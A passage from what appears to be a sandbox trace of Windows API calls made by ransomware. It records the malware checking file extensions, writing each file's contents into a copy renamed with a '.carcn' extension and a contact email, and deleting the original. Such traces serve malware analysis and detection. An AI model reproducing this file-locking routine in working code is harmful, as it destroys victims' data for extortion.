(lpString1=".1cd", lpString2=".dll") returned -1 [0295.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0295.052] lstrlenW (lpString=".jpg") returned 4 [0295.052] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.052] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.052] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0295.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0295.053] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=996568) returned 1 [0295.053] CloseHandle (hObject=0x334) returned 1 [0295.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0295.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0295.053] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.054] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0295.054] GetLastError () returned 0x0 [0295.054] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0295.116] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0295.621] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.621] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf4, lpOverlapped=0x0) returned 1 [0295.621] SetEndOfFile (hFile=0x360) returned 1 [0295.621] CloseHandle (hObject=0x360) returned 1 [0295.621] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.621] SetEndOfFile (hFile=0x334) returned 1 [0295.631] CloseHandle (hObject=0x334) returned 1 [0295.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0295.631] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0295.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.632] lstrlenW (lpString=".doc") returned 4 [0295.632] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.632] lstrlenW (lpString=".docx") returned 5 [0295.632] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0295.632] lstrlenW (lpString=".pdf") returned 4 [0295.632] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.632] lstrlenW (lpString=".xls") returned 4 [0295.632] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.632] lstrlenW (lpString=".xlsx") returned 5 [0295.632] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0295.632] lstrlenW (lpString=".ppt") returned 4 [0295.632] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.632] lstrlenW (lpString=".zip") returned 4 [0295.632] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.632] lstrlenW (lpString=".rar") returned 4 [0295.632] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.632] lstrlenW (lpString=".bz2") returned 4 [0295.632] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.632] lstrlenW (lpString=".7z") returned 3 [0295.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.632] lstrlenW (lpString=".dbf") returned 4 [0295.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.633] lstrlenW (lpString=".1cd") returned 4 [0295.633] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.633] lstrlenW (lpString=".jpg") returned 4 [0295.633] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.633] lstrlenW (lpString=".doc") returned 4 [0295.633] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.633] lstrlenW (lpString=".docx") returned 5 [0295.633] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0295.633] lstrlenW (lpString=".pdf") returned 4 [0295.633] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.633] lstrlenW (lpString=".xls") returned 4 [0295.633] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.633] lstrlenW (lpString=".xlsx") returned 5 [0295.633] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0295.633] lstrlenW (lpString=".ppt") returned 4 [0295.633] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.633] lstrlenW (lpString=".zip") returned 4 [0295.633] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.633] lstrlenW (lpString=".rar") returned 4 [0295.633] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.633] lstrlenW (lpString=".bz2") returned 4 [0295.633] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.633] lstrlenW (lpString=".7z") returned 3 [0295.633] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.633] lstrlenW (lpString=".dbf") returned 4 [0295.633] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.633] lstrlenW (lpString=".1cd") returned 4 [0295.633] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0295.634] lstrlenW (lpString=".jpg") returned 4 [0295.634] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.634] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.634] lstrlenW (lpString="vccorlib140.dll") returned 15 [0295.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0295.635] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=390320) returned 1 [0295.635] CloseHandle (hObject=0x334) returned 1 [0295.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0295.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0295.635] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.635] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0295.636] GetLastError () returned 0x0 [0295.636] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0295.667] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0296.089] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.089] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf2, lpOverlapped=0x0) returned 1 [0296.089] SetEndOfFile (hFile=0x360) returned 1 [0296.089] CloseHandle (hObject=0x360) returned 1 [0296.090] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.090] SetEndOfFile (hFile=0x334) returned 1 [0296.094] CloseHandle (hObject=0x334) returned 1 [0296.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0296.094] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0296.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.094] lstrlenW (lpString=".doc") returned 4 [0296.094] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.094] lstrlenW (lpString=".docx") returned 5 [0296.094] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0296.094] lstrlenW (lpString=".pdf") returned 4 [0296.094] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.094] lstrlenW (lpString=".xls") returned 4 [0296.094] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.094] lstrlenW (lpString=".xlsx") returned 5 [0296.094] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0296.095] lstrlenW (lpString=".ppt") returned 4 [0296.095] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.095] lstrlenW (lpString=".zip") returned 4 [0296.095] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.095] lstrlenW (lpString=".rar") returned 4 [0296.095] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.095] lstrlenW (lpString=".bz2") returned 4 [0296.095] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.095] lstrlenW (lpString=".7z") returned 3 [0296.095] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.095] lstrlenW (lpString=".dbf") returned 4 [0296.095] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.095] lstrlenW (lpString=".1cd") returned 4 [0296.095] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.095] lstrlenW (lpString=".jpg") returned 4 [0296.095] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.095] lstrlenW (lpString=".doc") returned 4 [0296.095] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.095] lstrlenW (lpString=".docx") returned 5 [0296.095] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0296.095] lstrlenW (lpString=".pdf") returned 4 [0296.095] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.096] lstrlenW (lpString=".xls") returned 4 [0296.096] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.096] lstrlenW (lpString=".xlsx") returned 5 [0296.096] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0296.096] lstrlenW (lpString=".ppt") returned 4 [0296.096] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.096] lstrlenW (lpString=".zip") returned 4 [0296.096] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.096] lstrlenW (lpString=".rar") returned 4 [0296.096] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.096] lstrlenW (lpString=".bz2") returned 4 [0296.096] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.096] lstrlenW (lpString=".7z") returned 3 [0296.096] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.096] lstrlenW (lpString=".dbf") returned 4 [0296.096] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.096] lstrlenW (lpString=".1cd") returned 4 [0296.096] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0296.096] lstrlenW (lpString=".jpg") returned 4 [0296.096] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.096] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0296.097] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0296.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.097] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=503808) returned 1 [0296.097] CloseHandle (hObject=0x334) returned 1 [0296.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0296.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.098] lstrlenW (lpString=".doc") returned 4 [0296.098] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.098] lstrlenW (lpString=".docx") returned 5 [0296.098] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0296.098] lstrlenW (lpString=".pdf") returned 4 [0296.098] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.098] lstrlenW (lpString=".xls") returned 4 [0296.098] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.098] lstrlenW (lpString=".xlsx") returned 5 [0296.098] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0296.098] lstrlenW (lpString=".ppt") returned 4 [0296.098] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.098] lstrlenW (lpString=".zip") returned 4 [0296.098] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.098] lstrlenW (lpString=".rar") returned 4 [0296.098] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.098] lstrlenW (lpString=".bz2") returned 4 [0296.098] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.098] lstrlenW (lpString=".7z") returned 3 [0296.098] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.098] lstrlenW (lpString=".dbf") returned 4 [0296.099] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.099] lstrlenW (lpString=".1cd") returned 4 [0296.099] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.099] lstrlenW (lpString=".jpg") returned 4 [0296.099] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.099] lstrlenW (lpString=".doc") returned 4 [0296.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.099] lstrlenW (lpString=".docx") returned 5 [0296.099] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0296.099] lstrlenW (lpString=".pdf") returned 4 [0296.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.099] lstrlenW (lpString=".xls") returned 4 [0296.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.099] lstrlenW (lpString=".xlsx") returned 5 [0296.099] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0296.099] lstrlenW (lpString=".ppt") returned 4 [0296.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.099] lstrlenW (lpString=".zip") returned 4 [0296.099] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.099] lstrlenW (lpString=".rar") returned 4 [0296.099] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.099] lstrlenW (lpString=".bz2") returned 4 [0296.099] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.100] lstrlenW (lpString=".7z") returned 3 [0296.100] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.100] lstrlenW (lpString=".dbf") returned 4 [0296.100] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.100] lstrlenW (lpString=".1cd") returned 4 [0296.100] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0296.100] lstrlenW (lpString=".jpg") returned 4 [0296.100] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.100] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0296.100] lstrlenW (lpString="mip.exe") returned 7 [0296.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.101] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1540608) returned 1 [0296.101] CloseHandle (hObject=0x334) returned 1 [0296.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0296.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.101] lstrlenW (lpString=".doc") returned 4 [0296.101] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.101] lstrlenW (lpString=".docx") returned 5 [0296.101] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0296.101] lstrlenW (lpString=".pdf") returned 4 [0296.102] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.102] lstrlenW (lpString=".xls") returned 4 [0296.102] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.102] lstrlenW (lpString=".xlsx") returned 5 [0296.102] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0296.102] lstrlenW (lpString=".ppt") returned 4 [0296.102] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.102] lstrlenW (lpString=".zip") returned 4 [0296.102] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.102] lstrlenW (lpString=".rar") returned 4 [0296.102] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.102] lstrlenW (lpString=".bz2") returned 4 [0296.102] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.102] lstrlenW (lpString=".7z") returned 3 [0296.102] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.102] lstrlenW (lpString=".dbf") returned 4 [0296.102] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.102] lstrlenW (lpString=".1cd") returned 4 [0296.102] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.102] lstrlenW (lpString=".jpg") returned 4 [0296.102] lstrcmpiW (lpString1=".jpg", 